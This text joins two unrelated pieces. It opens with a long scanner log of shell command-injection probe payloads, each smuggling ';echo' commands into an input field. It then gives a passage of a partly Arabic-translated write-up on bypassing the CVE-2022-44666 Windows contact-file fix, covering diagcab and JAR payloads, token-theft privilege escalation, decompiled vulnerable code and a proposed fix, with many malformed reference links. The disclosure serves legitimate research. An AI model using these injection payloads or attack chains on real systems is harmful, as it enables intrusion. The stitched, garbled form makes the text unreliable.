[~] Payload : ;echo AMIFIR$((32+28))ISLX 2>/dev/null && echo KnSZDp || echo AMIFIR$((32+28))ISLX 2>/dev/null && echo KnSZDp || echo AMIFIR$((32+28))ISLX 2>/dev/null && echo KnSZDp
[~] Payload : ;echo LXZRYP$((89+60))cWroI 2>/dev/null && echo zLRmrI || echo LXZRYP$((89+60))cWroI 2>/dev/null && echo zLRmrI || echo LXZRYP$((89+60))cWroI 2>/dev/null && echo zLRmrI
[~] Payload : ;echo YJKHEB$((58+44))xEKFv 2>/dev/null && echo JJsQJb || echo YJKHEB$((58+44))xEKFv 2>/dev/null && echo JJsQJb || echo YJKHEB$((58+44))xEKFv 2>/dev/null && echo JJsQJb
[~] Payload : ;echo QNOHDA$((94+43))xYCJO 2>/dev/null && echo BGYmDg || echo QNOHDA$((94+43))xYCJO 2>/dev/null && echo BGYmDg || echo QNOHDA$((94+43))xYCJO 2>/dev/null && echo BGYmDg
[~] Payload : ;echo CQKGUL$((20+33))XeMBc 2>/dev/null && echo iXgKUM || echo CQKGUL$((20+33))XeMBc 2>/dev/null && echo iXgKUM || echo CQKGUL$((20+33))XeMBc 2>/dev/null && echo iXgKUM
[~] Payload : ;echo OYAGYM$((59+18))mndkO 2>/dev/null && echo STrEFF || echo OYAGYM$((59+18))mndkO 2>/dev/null && echo STrEFF || echo OYAGYM$((59+18))mndkO 2>/dev/null && echo STrEFF
[~] Payload : ;echo IMCMVL$((69+30))JQZqH 2>/dev/null && echo cMpnnn || echo IMCMVL$((69+30))JQZqH 2>/dev/null && echo cMpnnn || echo IMCMVL$((69+30))JQZqH 2>/dev/null && echo cMpnnn
[~] Payload : ;echo QBCABG$((45+26))iDmVM 2>/dev/null && echo BwbAql || echo QBCABG$((45+26))iDmVM 2>/dev/null && echo BwbAql || echo QBCABG$((45+26))iDmVM 2>/dev/null && echo BwbAql
[~] Payload : ;echo NWHTMV$((64+91))jCFiO 2>/dev/null && echo ZRIwUj || echo NWHTMV$((64+91))jCFiO 2>/dev/null && echo ZRIwUj || echo NWHTMV$((64+91))jCFiO 2>/dev/null && echo ZRIwUj
[~] Payload : ;echo YSLBSB$((31+62))SCVBi 2>/dev/null && echo YfMRGM || echo YSLBSB$((31+62))SCVBi 2>/dev/null && echo YfMRGM || echo YSLBSB$((31+62))SCVBi 2>/dev/null && echo YfMRGM
[~] Payload : ;echo XOXYON$((27+19))iNAoZ 2>/dev/null && echo lMMgvx || echo XOXYON$((27+19))iNAoZ 2>/dev/null && echo lMMgvx || echo XOXYON$((27+19))iNAoZ 2>/dev/null && echo lMMgvx
[~] Payload : ;echo IJHVOF$((57+42))DnpqP 2>/dev/null && echo QhVLXK || echo IJHVOF$((57+42))DnpqP 2>/dev/null && echo QhVLXK || echo IJHVOF$((57+42))DnpqP 2>/dev/null && echo QhVLXK
[~] Payload : ;echo RVIDMZ$((88+82))EOBjU 2>/dev/null && echo UBNqFe || echo RVIDMZ$((88+82))EOBjU 2>/dev/null && echo UBNqFe || echo RVIDMZ$((88+82))EOBjU 2>/dev/null && echo UBNqFe
[~] Payload : ;echo WNRXZG$((54+36))bxNYu 2>/dev/null && echo vPnZVb || echo WNRXZG$((54+36))bxNYu 2>/dev/null && echo vPnZVb || echo WNRXZG$((54+36))bxNYu 2>/dev/null && echo vPnZVb
[~] Payload : ;echo CMVBCH$((27+23))tXEOU 2>/dev/null && echo ZbKZkC || echo CMVBCH$((27+23))tXEOU 2>/dev/null && echo ZbKZkC || echo CMVBCH$((27+23))tXEOU 2>/dev/null && echo ZbKZkC
[~] Payload : ;echo GOWTEP$((82+36))vNMsI 2>/dev/null && echo kpIyyd || echo GOWTEP$((82+36))vNMsI 2>/dev/null && echo kpIyyd || echo GOWTEP$((82+36))vNMsI 2>/dev/null && echo kpIyyd
[~] Payload : ;echo SVRWFO$((16+25))mDulF 2>/dev/null && echo EhcMFC || echo SVRWFO$((16+25))mDulF 2>/dev/null && echo EhcMFC || echo SVRWFO$((16+25))mDulF 2>/dev/null && echo EhcMFC
[~] Payload : ;echo VJILGP$((77+68))dXpFN 2>/dev/null && echo SXvgmb || echo VJILGP$((77+68))dXpFN 2>/dev/null && echo SXvgmb || echo VJILGP$((77+68))dXpFN 2>/dev/null && echo SXvgmb
[~] Payload : ;echo GXCOOQ$((88+31))AqnJa 2>/dev/null && echo tTxEJP || echo GXCOOQ$((88+31))AqnJa 2>/dev/null && echo tTxEJP || echo GXCOOQ$((88+31))AqnJa 2>/dev/null && echo tTxEJP
[~] Payload : ;echo XYNIJH$((26+22))hVjIB 2>/dev/null && echo TwcGJh || echo XYNIJH$((26+22))hVjIB 2>/dev/null && echo TwcGJh || echo XYNIJH$((26+22))hVjIB 2>/dev/null && echo TwcGJh
[~] Payload : ;echo BHVMBU$((68+87))dKHpb 2>/dev/null && echo muADbK || echo BHVMBU$((68+87))dKHpb 2>/dev/null && echo muADbK || echo BHVMBU$((68+87))dKHpb 2>/dev/null && echo muADbK
[~] Payload : ;echo VZAGUP$((37+28))OlyHd 2>/dev/null && echo STjpgt || echo VZAGUP$((37+28))OlyHd 2>/dev/null && echo STjpgt || echo VZAGUP$((37+28))OlyHd 2>/dev/null && echo STjpgt
[~] Payload : ;echo DXXFQS$((75+38))nqBvD 2>/dev/null && echo DWmFkE || echo DXXFQS$((75+38))nqBvD 2>/dev/null && echo DWmFkE || echo DXXFQS$((75+38))nqBvD 2>/dev/null && echo DWmFkE
[~] Payload : ;echo PJOCXF$((71+84))zVkMh 2>/dev/null && echo CBfbQx || echo PJOCXF$((71+84))zVkMh 2>/dev/null && echo CBfbQx || echo PJOCXF$((71+84))zVkMh 2>/dev/null && echo CBfbQx
[~] Payload : ;echo CKRBHM$((51+37))bYRvl 2>/dev/null && echo tMUKQm || echo CKRBHM$((51+37))bYRvl 2>/dev/null && echo tMUKQm || echo CKRBHM$((51+37))bYRvl 2>/dev/null && echo tMUKQm
[~] Payload : ;echo JGOING$((45+46))IVCjk 2>/dev/null && echo PpJfMt || echo JGOING$((45+46))IVCjk 2>/dev/null && echo PpJfMt || echo JGOING$((45+46))IVCjk 2>/dev/null && echo PpJfMt
[~] Payload : ;echo TKKHOR$((79+28))yFkdB 2>/dev/null && echo JuetTW || echo TKKHOR$((79+28))yFkdB 2>/dev/null && echo JuetTW || echo TKKHOR$((79+28))yFkdB 2>/dev/null && echo JuetTW
[~] Payload : ;echo PJAVXB$((55+89))SiXRP 2>/dev/null && echo vTgKIX || echo PJAVXB$((55+89))SiXRP 2>/dev/null && echo vTgKIX || echo PJAVXB$((55+89))SiXRP 2>/dev/null && echo vTgKIX
[~] Payload : ;echo NXYGAJ$((11+47))YBuSi 2>/dev/null && echo TCFTtj || echo NXYGAJ$((11+47))YBuSi 2>/dev/null && echo TCFTtj || echo NXYGAJ$((11+47))YBuSi 2>/dev/null && echo TCFTtj
[~] Payload : ;echo ICZHIW$((68+67))NdsUb 2>/dev/null && echo PtdqKy || echo ICZHIW$((68+67))NdsUb 2>/dev/null && echo PtdqKy || echo ICZHIW$((68+67))NdsUb 2>/dev/null && echo PtdqKy
[~] Payload : ;echo KKYFPC$((46+53))HZKXG 2>/dev/null && echo HOANiT || echo KKYFPC$((46+53))HZKXG 2>/dev/null && echo HOANiT || echo KKYFPC$((46+53))HZKXG 2>/dev/null && echo HOANiT
[~] Payload : ;echo SORKMY$((42+57))FtdEN 2>/dev/null && echo LReEVQ || echo SORKMY$((42+57))FtdEN 2>/dev/null && echo LReEVQ || echo SORKMY$((42+57))FtdEN 2>/dev/null && echo LReEVQ
[~] Payload : ;echo WFLFRL$((19+24))vTMBr 2>/dev/null && echo EFSDEc || echo WFLFRL$((19+24))vTMBr 2>/dev/null && echo EFSDEc || echo WFLFRL$((19+24))vTMBr 2>/dev/null && echo EFSDEc
[~] Payload : ;echo SBLSHA$((45+13))uFGtZ 2>/dev/null && echo VHBoyF || echo SBLSHA$((45+13))uFGtZ 2>/dev/null && echo VHBoyF || echo SBLSHA$((45+13))uFGtZ 2>/dev/null && echo VHBoyF
[~] Payload : ;echo XOGDAZ$((91+58))MYAjN 2>/dev/null && echo UyQSCy || echo XOGDAZ$((91+58))MYAjN 2>/dev/null && echo UyQSCy || echo XOGDAZ$((91+58))MYAjN 2>/dev/null && echo UyQSCy
[~] Payload : ;echo WNNFET$((17+22))REOLi 2>/dev/null && echo HgySSG || echo WNNFET$((17+22))REOLi 2>/dev/null && echo HgySSG || echo WNNFET$((17+22))REOLi 2>/dev/null && echo HgySSG
[~] Payload : ;echo FJLJYE$((76+87))MKIQs 2>/dev/null && echo AXTLun || echo FJLJYE$((76+87))MKIQs 2>/dev/null && echo AXTLun || echo FJLJYE$((76+87))MKIQs 2>/dev/null && echo AXTLun
[~] Payload : ;echo HLRKDF$((64+31))CbBle 2>/dev/null && echo FcJfMr || echo HLRKDF$((64+31))CbBle 2>/dev/null && echo FcJfMr || echo HLRKDF$((64+31))CbBle 2>/dev/null && echo FcJfMr
[~] Payload : ;echo UJNLFH$((86+61))hAqbS 2>/dev/null && echo aTTngC || echo UJNLFH$((86+61))hAqbS 2>/dev/null && echo aTTngC || echo UJNLFH$((86+61))hAqbS 2>/dev/null && echo aTTngC
[~] Payload : ;echo KRUNQO$((57+32))OQdBx 2>/dev/null && echo lEoGoq || echo KRUNQO$((57+32))OQdBx 2>/dev/null && echo lEoGoq || echo KRUNQO$((57+32))OQdBx 2>/dev/null && echo lEoGoq
[~] Payload : ;echo GWKGAO$((99+46))lOuKR 2>/dev/null && echo qIOFno || echo GWKGAO$((99+46))lOuKR 2>/dev/null && echo qIOFno || echo GWKGAO$((99+46))lOuKR 2>/dev/null && echo qIOFno
[~] Payload : ;echo WZONWF$((23+44))FkNji 2>/dev/null && echo rqYCVj || echo WZONWF$((23+44))FkNji 2>/dev/null && echo rqYCVj || echo WZONWF$((23+44))FkNji 2>/dev/null && echo rqYCVj
[~] Payload : ;echo GTDKAF$((64+93))ZXOPm 2>/dev/null && echo UCMgMk || echo GTDKAF$((64+93))ZXOPm 2>/dev/null && echo UCMgMk || echo GTDKAF$((64+93))ZXOPm 2>/dev/null && echo UCMgMk
[~] Payload : ;echo RCVGLE$((32+19))mYAvk 2>/dev/null && echo YucPNH || echo RCVGLE$((32+19))mYAvk 2>/dev/null && echo YucPNH || echo RCVGLE$((32+19))mYAvk 2>/dev/null && echo YucPNH
[~] Payload : ;echo BOIUMP$((67+35))aOwqZ 2>/dev/null && echo qulYsT || echo BOIUMP$((67+35))aOwqZ 2>/dev/null && echo qulYsT || echo BOIUMP$((67+35))aOwqZ 2>/dev/null && echo qulYsT
[~] Payload : ;echo PCMSET$((47+38))gYJha 2>/dev/null && echo fBNqKi || echo PCMSET$((47+38))gYJha 2>/dev/null && echo fBNqKi || echo PCMSET$((47+38))gYJha 2>/dev/null && echo fBNqKi
[~] Payload : ;echo BKHVQX$((14+30))SIPKA 2>/dev/null && echo MRWXmR || echo BKHVQX$((14+30))SIPKA 2>/dev/null && echo MRWXmR || echo BKHVQX$((14+30))SIPKA 2>/dev/null && echo MRWXmR
[~] Payload : ;echo PFPAKM$((61+82))HMsFN 2>/dev/null && echo QoNnrM || echo PFPAKM$((61+82))HMsFN 2>/dev/null && echo QoNnrM || echo PFPAKM$((61+82))HMsFN 2>/dev/null && echo QoNnrM
[~] Payload : ;echo GZALGY$((73+24))MxaLu 2>/dev/null && echo XUfPgR || echo GZALGY$((73+24))MxaLu 2>/dev/null && echo XUfPgR || echo GZALGY$((73+24))MxaLu 2>/dev/null && echo XUfPgR
[~] Payload : ;echo FLPRXB$((64+59))XhAka 2>/dev/null && echo lLyxBD || echo FLPRXB$((64+59))XhAka 2>/dev/null && echo lLyxBD || echo FLPRXB$((64+59))XhAka 2>/dev/null && echo lLyxBD
[~] Payload : ;echo GWKKMM$((47+62))PmriU 2>/dev/null && echo MNazbq || echo GWKKMM$((47+62))PmriU 2>/dev/null && echo MNazbq || echo GWKKMM$((47+62))PmriU 2>/dev/null && echo MNazbq
[~] Payload : ;echo KKHGCB$((73+96))nBjXJ 2>/dev/null && echo jGnXCs || echo KKHGCB$((73+96))nBjXJ 2>/dev/null && echo jGnXCs || echo KKHGCB$((73+96))nBjXJ 2>/dev/null && echo jGnXCs
[~] Payload : ;echo ACBORZ$((98+45))JEzyx 2>/dev/null && echo OmKJwg || echo ACBORZ$((98+45))JEzyx 2>/dev/null && echo OmKJwg || echo ACBORZ$((98+45))JEzyx 2>/dev/null && echo OmKJwg
[~] Payload : ;echo JRTUTR$((18+24))sLJpB 2>/dev/null && echo zNwRGi || echo JRTUTR$((18+24))sLJpB 2>/dev/null && echo zNwRGi || echo JRTUTR$((18+24))sLJpB 2>/dev/null && echo zNwRGi
[~] Payload : ;echo JYXREJ$((35+28))QlYYs 2>/dev/null && echo gCCtBQ || echo JYXREJ$((35+28))QlYYs 2>/dev/null && echo gCCtBQ || echo JYXREJ$((35+28))QlYYs 2>/dev/null && echo gCCtBQ
[~] Payload : ;echo ZDITMP$((46+95))IBsJB 2>/dev/null && echo qLXyFT || echo ZDITMP$((46+95))IBsJB 2>/dev/null && echo qLXyFT || echo ZDITMP$((46+95))IBsJB 2>/dev/null && echo qLXyFT
[~] Payload : ;echo NRBJDA$((97+68))TPUcX 2>/dev/null && echo nwtFKQ || echo NRBJDA$((97+68))TPUcX 2>/dev/null && echo nwtFKQ || echo NRBJDA$((97+68))TPUcX 2>/dev/null && echo nwtFKQ
[~] Payload : ;echo LEKKYL$((39+26))lDKdx 2>/dev/null && echo Sfmcnz || echo LEKKYL$((39+26))lDKdx 2>/dev/null && echo Sfmcnz || echo LEKKYL$((39+26))lDKdx 2>/dev/null && echo Sfmcnz
[~] Payload : ;echo WHKPDT$((46+51))pxRzg 2>/dev/null && echo qJMyDB || echo WHKPDT$((46+51))pxRzg 2>/dev/null && echo qJMyDB || echo WHKPDT$((46+51))pxRzg 2>/dev/null && echo qJMyDB
[~] Payload : ;echo WTCOCX$((99+93))qWOhW 2>/dev/null && echo feWNYd || echo WTCOCX$((99+93))qWOhW 2>/dev/null && echo feWNYd || echo WTCOCX$((99+93))qWOhW 2>/dev/null && echo feWNYd
[~] Payload : ;echo BVTVPL$((44+28))nPWBb 2>/dev/null && echo HraANM || echo BVTVPL$((44+28))nPWBb 2>/dev/null && echo HraANM || echo BVTVPL$((44+28))nPWBb 2>/dev/null && echo HraANM
[~] Payload : ;echo WFXLYY$((55+86))pRMPH 2>/dev/null && echo hGZMSc || echo WFXLYY$((55+86))pRMPH 2>/dev/null && echo hGZMSc || echo WFXLYY$((55+86))pRMPH 2>/dev/null && echo hGZMSc
[~] Payload : ;echo OSSCBP$((98+25))IXFNt 2>/dev/null && echo OgKfyg || echo OSSCBP$((98+25))IXFNt 2>/dev/null && echo OgKfyg || echo OSSCBP$((98+25))IXFNt 2>/dev/null && echo OgKfyg
[~] Payload : ;echo JWFBJO$((52+35))RltmH 2>/dev/null && echo cjSbjK || echo JWFBJO$((52+35))RltmH 2>/dev/null && echo cjSbjK || echo JWFBJO$((52+35))RltmH 2>/dev/null && echo cjSbjK
[~] Payload : ;echo OBKVZE$((57+27))XhExk 2>/dev/null && echo HhtJYg || echo OBKVZE$((57+27))XhExk 2>/dev/null && echo HhtJYg || echo OBKVZE$((57+27))XhExk 2>/dev/null && echo HhtJYg
[~] Payload : ;echo VKYGEE$((87+57))smNnp 2>/dev/null && echo CeqNyK || echo VKYGEE$((87+57))smNnp 2>/dev/null && echo CeqNyK || echo VKYGEE$((87+57))smNnp 2>/dev/null && echo CeqNyK
[~] Payload : ;echo NSYZMP$((89+90))SxHLP 2>/dev/null && echo hTbrUq || echo NSYZMP$((89+90))SxHLP 2>/dev/null && echo hTbrUq || echo NSYZMP$((89+90))SxHLP 2>/dev/null && echo hTbrUq
[~] Payload : ;echo HDJXUM$((30+33))YtyIF 2>/dev/null && echo JSCnnf || echo HDJXUM$((30+33))YtyIF 2>/dev/null && echo JSCnnf || echo HDJXUM$((30+33))YtyIF 2>/dev/null && echo JSCnnf
[~] Payload : ;echo DBPQMS$((44+45))FXEGR 2>/dev/null && echo nXOlDU || echo DBPQMS$((44+45))FXEGR 2>/dev/null && echo nXOlDU || echo DBPQMS$((44+45))FXEGR 2>/dev/null && echo nXOlDU
... (يستمر) ...```html [email protected] [email protected]
لمزيد من المعلومات، يوجد فيديو لـ [ملف اتصال مستقل](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/simple-payload.gif).

يوجد إثبات المفهوم في [./bypass/report-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/report-pocs).
وآخر لـ [MS Word وبروتوكول LDAP URL](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/ldap-msword-exploit.gif).

يوجد إثبات المفهوم في [./bypass/further-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/further-pocs).
بعد يوم واحد من إصدار التصحيح، تم إرسال هذه المعلومات إلى MSRC. لسوء الحظ، تم إغلاق القضية مؤخرًا دون معلومات إضافية عنها.

## ملف Diagcab كحمولة
بعد [CVE-2022-30190][R.14] المعروف أيضًا باسم [ثغرة Follina][R.15] و [CVE-2022-34713][R.16] المعروف أيضًا باسم [ثغرة DogWalk][R.17]، [تقنية معروفة علنًا لكنها مقيمة بأقل من قيمتها][R.18] وُلدت من جديد بفضل [@buffaloverflow][R.19]. صديقي وزميلي [Eduardo Braun Prado][R.20] أعطاني فكرة استخدام هذه التقنية هنا.
هناك بعض المتطلبات الأساسية لفعل ذلك:
1. يجب أن ينتمي المستخدم المستهدف إلى مجموعة المسؤولين. إذا لم يكن الأمر كذلك، فهناك موجه UAC.
2. يجب أن يكون ملف diagcab موقعًا، لذا يجب أن تكون شهادة توقيع الكود مثبتة في الحاسوب المستهدف.
سيناريو الهجوم الحقيقي سيمر بسرقة شهادة توقيع كود مثبتة بالفعل في النظام المستهدف. ولكن نظرًا لأن هذا مجرد إثبات مفهوم، تم إنشاء شهادة توقيع كود ذاتية التوقيع واستخدامها لتوقيع ملف diagcab المسمى [@payload.diagcab](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/diagcab-pocs/MSWord/hidden/%40payload.diagcab).
لذا لإعادة الإنتاج، يلزم تثبيت الشهادة الموجودة في [cert.cer](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/diagcab-pocs/cert.cer) ضمن السلطة الموثوقة للشهادات الجذرية Trusted Root Certificate Authority [كما في هذا](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/install-certificate.gif):

لرفع الامتيازات أخيرًا، يمكن استخدام سرقة/انتحال الرمز. في هذه الحالة، كانت [تقنية "العملية الأم"][R.21] هي [المختارة][R.22]. تم تضمين نسخة معدلة من هذا السكريبت داخل سكريبتات الحل.
لمزيد من المعلومات، يوجد فيديو لـ [MS Word وبروتوكول LDAP URL](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/ldap-msword-diagcab-exploit.gif).

يوجد إثبات المفهوم في [./bypass/diagcab-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/diagcab-pocs).
## ملفات JAR كحمولة
***تحديث 2023/06/19:*** بعد قراءة [منشور @pfiatde][R.24] عن ["ZipJar"][R.25]، هذه المعلومات المثيرة للاهتمام تجعل ملفات JAR مرشحًا جيدًا لاستخدامها كحمولة في هذه الثغرة، والتي لا تزال 0day في الوقت الحالي، حيث يتم تجاهل MotW ولا تتطلب قبول أي موجه.
تم أخذ حمولة JAR من مستودع GitHub [calc_security_poc][R.26].
ها هي أداة بناء صغيرة مرفقة، [create-poc.py](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/jar-poc) لإنشاء إثبات المفهوم الخاص بك من قالب.

لا تنس شكر [@microlovu][R.27] و [@mlftsecresponse][R.28]. 😂
## الإصلاح المقترح
تذكر الكود القابل للاختراق في الدالة "fnSummaryProc":```cpp
...
LABEL_44:
SafeExecute(v29, v24, v30); // Vulnerable call to shellexecute
return 1i64;
}
}
else
{
if ( v23 )
v32 = IsInternetAddress(v23, &v38); // Bypass with a single "@"
else
v32 = 0;
v29 = v7;
if ( v32 )
{
v30 = v23;
goto LABEL_44;
}
}
...
تم إنشاء الدالة "IsInternetAddress" عمدًا للتحقق مما إذا كانت سمة href تتوافق مع أي عنوان بريد إلكتروني. لذا سيكون الإصلاح المقترح (بعد اتباع الدوال المستوردة التي تستخدمها المكتبة) كالتالي:```cpp ... if (v32 && !(unsigned int)StrCmpNICW(L"mailto:", v23, 7i64)) // Check out the href really starts with "mailto:" { v30 = v23; goto LABEL_44; } ...
So simple like this, it's only needed to check this out before calling to "SafeExecute". Just testing if the target string (v23) starts with "mailto:", the bug would be fully fixed IMHO.
## إصلاح غير رسمي
Some days/weeks ago when i contacted [@mkolsek][R.30] of [0patch][R.23] to inform him about this issue, who by the way is always very kind to me, told me this has been receiving [an unofficial fix for Windows 7 since then][R.29] (4 years ago). That was a surprise and good news!
It was tested and successfully stopped the new variant of CVE-2022-44666. The micropatch prepends "http://" to the attacker-controlled string passed by the href attr if doesn't start with "mailto:", "http://" or "https://", which is enough to fully fix the issue. Now it's going to be extended for the latest Windows versions, only necessary to update some offsets.

على أي حال، سيكون من الأفضل الحصول على تصحيح رسمي.
## شكر وتقدير
+ [@hyp3rlinx][R.1]: تحية خاصة وتقدير لأنه بدأ هذا البحث منذ عدة سنوات وكان عمله أساسيًا لهذا المقال. ~~كان ينبغي أن يُنسب إليه الفضل أيضًا في اكتشاف هذا الأمر لكن لسوء الحظ لم أتمكن من الاتصال به في الوقت المناسب~~. لقد تم ذلك بالفعل (***تحديث 2023/02/08***).
+ [@Edu_Braun_0day][R.20]: الذي عمل أيضًا حول [هذه المشكلة][R.31].
+ [@mkolsek][R.30].
+ [@matalaz][R.12].
+ [@buffaloverflow][R.19].
+ [@msftsecresponse][R.2].
+ ...
بواسطة [@j00sean](https://twitter.com/j00sean)
[R.1]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/hyp3rlinx%3E "@hyp3rlinx"
[R.2]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/msftsecresponse%3E "@msftsecresponse"
[R.3]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/thezdi%3E "@thezdi"
[R.4]: <https://www.exploit-db.com/exploits/46222> "John Page (aka hyp3rlinx)'s exploit fully disclosed more than 4 years ago"
[R.5]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.zerodayinitiative.com/advisories/ZDI-19-121/%3E "ZDI-19-121"
[R.6]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/docs.microsoft.com/en-us/windows/win32/controls/syslink-overview%3E "MS Documentation about syslink controls"
[R.7]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.mozilla.org/en-US/security/advisories/mfsa2022-24/#CVE-2022-34478> "CVE-2022-34478: search-ms disabling for Mozilla Firefox"
[R.8]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/docs.bmc.com/docs/fpsc121/ldap-attributes-and-associated-fields-495323340.html%3E "LDIF attributes and associated fields documentation"
[R.9]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/ldaptor.readthedocs.io/en/latest/quickstart.html#ldap-server-quick-start> "ldaptor server quick start"
[R.10]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44666%3E "CVE-2022-44666"
[R.11]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/github.com/joxeankoret/diaphora%3E "Diaphora"
[R.12]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/matalaz%3E "@matalaz"
[R.13]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/learn.microsoft.com/en-us/windows/win32/api/shlwapi/nf-shlwapi-urlisw%3E "UrlIsW function"
[R.14]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190%3E "CVE-2022-30190"
[R.15]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.bleepingcomputer.com/news/security/new-microsoft-office-zero-day-used-in-attacks-to-execute-powershell%3E "Follina vulnerability"
[R.16]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/msrc.microsoft.com/update-guide/vulnerability/CVE-2022-34713%3E "CVE-2022-34713"
[R.17]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.bleepingcomputer.com/news/microsoft/microsoft-patches-windows-dogwalk-zero-day-exploited-in-attacks%3E "DogWalk vulnerability"
[R.18]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/buffaloverflow/status/1534445288332701697%3E "Diagcab files"
[R.19]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/buffaloverflow%3E "@buffaloverflow"
[R.20]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/edu_braun_0day%3E "@Edu_Braun_0day"
[R.21]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/decoder.cloud/2018/02/02/getting-system%3E "Parent process technique"
[R.22]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/github.com/decoder-it/psgetsystem%3E "Getsystem via parent process"
[R.23]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/0patch.com%3E "0patch"
[R.24]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/pfiatde%3E "@pfiatde"
[R.25]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/badoption.eu/blog/2023/06/01/zipjar.html%3E "ZipJar, a little bit unexpected attack chain"
[R.26]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/github.com/arntsonl/calc_security_poc/tree/master/jar%3E "calc_security_poc"
[R.27]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/microlovu%3E "@microlovu"
[R.28]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/mlftsecresponse%3E "@mlftsecresponse"
[R.29]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/blog.0patch.com/2019/01/one-two-three-micropatches-for-three.html%3E "Micropatch released 4 years ago"
[R.30]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/mkolsek%3E "@mkolsek"
[R.31]: <https://packetstormsecurity.com/files/151267/Microsoft-Windows-VCF-Arbitrary-Code-Execution.html> "Microsoft Windows VCF or Contact' File - URL Manipulation-Spoof Arbitrary Code Execution"

